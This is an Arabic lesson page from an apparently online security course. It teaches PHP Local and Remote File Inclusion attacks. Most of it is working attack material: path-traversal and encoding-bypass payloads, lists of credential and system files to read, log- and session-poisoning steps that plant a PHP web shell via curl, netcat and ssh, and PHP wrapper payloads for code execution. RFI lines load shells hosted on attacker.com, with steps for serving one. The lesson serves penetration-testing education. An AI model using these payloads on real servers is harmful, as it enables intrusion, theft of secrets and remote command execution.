الدرس 15 من 24

هجمات تطبيقات الويب

ثغرات تضمين الملفات (LFI/RFI)

5 دقيقة للقراءة

ثغرات تضمين الملفات تسمح للمهاجمين بقراءة ملفات حساسة أو تنفيذ كود خبيث. هذه شائعة في تطبيقات PHP.

فهم تضمين الملفات

تضمين الملفات المحلي (LFI)

LFI يسمح بقراءة ملفات من الخادم المحلي:

// كود ضعيف
<?php include($_GET['page']); ?>

// الاستخدام العادي
https://target.com/index.php?page=about.php

// هجوم LFI
https://target.com/index.php?page=../../../etc/passwd

تضمين الملفات البعيد (RFI)

RFI يسمح بتضمين ملفات من خوادم بعيدة:

// كود ضعيف (يتطلب allow_url_include=On)
<?php include($_GET['page']); ?>

// هجوم RFI
https://target.com/index.php?page=http://attacker.com/shell.php

اختبار LFI الأساسي

اجتياز المسار

?page=../../../etc/passwd
?page=....//....//....//etc/passwd
?page=..%2f..%2f..%2fetc%2fpasswd
?page=..%252f..%252f..%252fetc%252fpasswd
?page=/etc/passwd

تجاوز Null Byte (PHP < 5.3.4)

?page=../../../etc/passwd%00
?page=../../../etc/passwd%00.php

الملفات الشائعة للقراءة

Linux:

/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/auth.log
/home/user/.ssh/id_rsa
/home/user/.bash_history

Windows:

C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\config\SAM
C:\Windows\win.ini
C:\boot.ini
C:\inetpub\wwwroot\web.config
C:\xampp\apache\logs\access.log

ملفات خاصة بالتطبيق

# تكوينات الويب
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess

# Apache
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf

# Nginx
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default

من LFI إلى تنفيذ كود عن بعد

تسميم السجل

الخطوة 1: تسميم السجل

# سجل وصول Apache
curl "http://target.com" -A "<?php system(\$_GET['cmd']); ?>"

# أو عبر netcat
nc target.com 80
GET /<?php system($_GET['cmd']); ?> HTTP/1.1
Host: target.com

الخطوة 2: تضمين السجل المسمم

?page=../../../var/log/apache2/access.log&cmd=id
?page=../../../var/log/apache2/error.log&cmd=id

تسميم سجل SSH

# تسميم auth.log عبر SSH
ssh '<?php system($_GET["cmd"]); ?>'@target.com

# تضمين السجل
?page=../../../var/log/auth.log&cmd=id

تسميم جلسة PHP

# الجلسات مخزنة في /tmp/sess_<PHPSESSID>
# حقن كود PHP في متغير جلسة

# تضمين ملف الجلسة
?page=../../../tmp/sess_<your_session_id>

/proc/self/environ

# إذا كان User-Agent يُسجل في environ
curl "http://target.com/vuln.php?page=../../../proc/self/environ" -A "<?php system('id'); ?>"

مُغلِّفات PHP

php://filter (قراءة الكود المصدري)

# قراءة مصدر PHP كـ base64
?page=php://filter/convert.base64-encode/resource=config.php
?page=php://filter/convert.base64-encode/resource=index.php

# فك تشفير الإخراج
echo "base64_output" | base64 -d

php://input (RCE إذا كان allow_url_include=On)

# POST كود PHP
curl -X POST "http://target.com/vuln.php?page=php://input" --data "<?php system('id'); ?>"

data:// (RCE إذا كان allow_url_include=On)

?page=data://text/plain,<?php system('id'); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==

مُغلِّف zip://

# إنشاء zip خبيث
echo "<?php system('id'); ?>" > shell.php
zip shell.zip shell.php

# رفع zip ثم تضمين
?page=zip://uploads/shell.zip%23shell.php

مُغلِّف phar://

?page=phar://uploads/shell.phar/shell.php

تجاوز الفلاتر

فلاتر الامتداد

?page=....//....//....//etc/passwd
?page=..%2f..%2f..%2fetc%2fpasswd
?page=..%252f..%252f..%252fetc%252fpasswd (ترميز مزدوج)
?page=....\/....\/....\/etc/passwd
?page=/var/www/html/../../../etc/passwd

اقتطاع المسار (PHP < 5.3)

# أقصى طول مسار PHP هو 4096 بايت
?page=../../../etc/passwd/./././././<كرر حتى 4096>

تضمين الملفات البعيد

RFI الأساسي

?page=http://attacker.com/shell.txt
?page=http://attacker.com/shell.php
?page=ftp://attacker.com/shell.php

تجاوزات RFI

# Null byte
?page=http://attacker.com/shell.txt%00

# ترميز URL مزدوج
?page=http%253A%252F%252Fattacker.com%252Fshell.txt

استضافة الحمولة

# على جهاز المهاجم
echo "<?php system(\$_GET['cmd']); ?>" > shell.txt
python3 -m http.server 80

# تشغيل RFI
http://target.com/vuln.php?page=http://attacker-ip/shell.txt&cmd=id

سير عمل اختبار LFI/RFI

1. تحديد نقاط تضمين الملفات
   └── معاملات مثل page=، file=، include=

2. اختبار LFI الأساسي
   └── ../../../etc/passwd

3. تجربة تقنيات التجاوز
   └── الترميز، null bytes، اقتطاع المسار

4. اختبار مُغلِّفات PHP
   └── php://filter للكود المصدري

5. محاولة RCE عبر LFI
   └── تسميم السجل، مُغلِّفات PHP

6. اختبار RFI
   └── فقط إذا كان allow_url_include=On

في الدرس التالي، سنغطي ثغرات رفع الملفات والتجاوزات. :::

اختبار

الوحدة 4: هجمات تطبيقات الويب

خذ الاختبار